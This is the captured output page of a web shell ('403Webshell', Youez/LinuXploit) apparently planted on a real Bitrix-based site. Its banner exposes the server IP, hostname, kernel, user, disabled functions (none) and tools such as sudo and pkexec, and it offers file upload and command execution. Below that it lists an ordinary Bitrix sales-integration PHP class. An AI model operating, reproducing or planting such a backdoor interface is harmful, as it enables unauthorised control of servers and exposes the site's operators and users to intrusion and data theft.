403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sale/lib/exchange/integration/timeline/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sale/lib/exchange/integration/timeline/base.php
<?php


namespace Bitrix\Sale\Exchange\Integration\Timeline;


use Bitrix\Sale\Exchange\Integration;
use Bitrix\Sale\Exchange\Manager;

class Base
{
	static protected function onReceive($orderId, array $settings)
	{
		$item = \Bitrix\Sale\Exchange\Integration\Relation\Relation::getByEntity(
			Integration\EntityType::ORDER,
			$orderId,
			Integration\CRM\EntityType::DEAL,
			''
		);

		$relation = Integration\Relation\Relation::createFromArray([
			'SRC_ENTITY_TYPE_ID'=>$item['SRC_ENTITY_TYPE_ID'],
			'SRC_ENTITY_ID'=>$item['SRC_ENTITY_ID'],
			'DST_ENTITY_TYPE_ID'=>$item['DST_ENTITY_TYPE_ID'],
			'DST_ENTITY_ID'=>$item['DST_ENTITY_ID']
		]);

		$proxy = new Integration\Rest\RemoteProxies\CRM\Timeline();

		$r = $proxy->onReceive(
			$relation->getDestinationEntityId(),
			$relation->getDestinationEntityTypeId(),
			$settings
		);

		if($r->isSuccess())
		{
			$result = $r->getData()['DATA']['result'];
		}
		else
		{
			$result['error'] = $r->getErrorMessages();
		}

		//ECHO '<pre>'; PRINT_R($order->getFields()->getOriginalValues());DIE;
		//ECHO '<pre>'; PRINT_R($result);DIE;
	}

	static protected function isSync(\Bitrix\Sale\Order $order)
	{
		return (new Integration\Connector\Manager())->isOn() && $order->getField('IS_SYNC_B24') == 'Y';
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit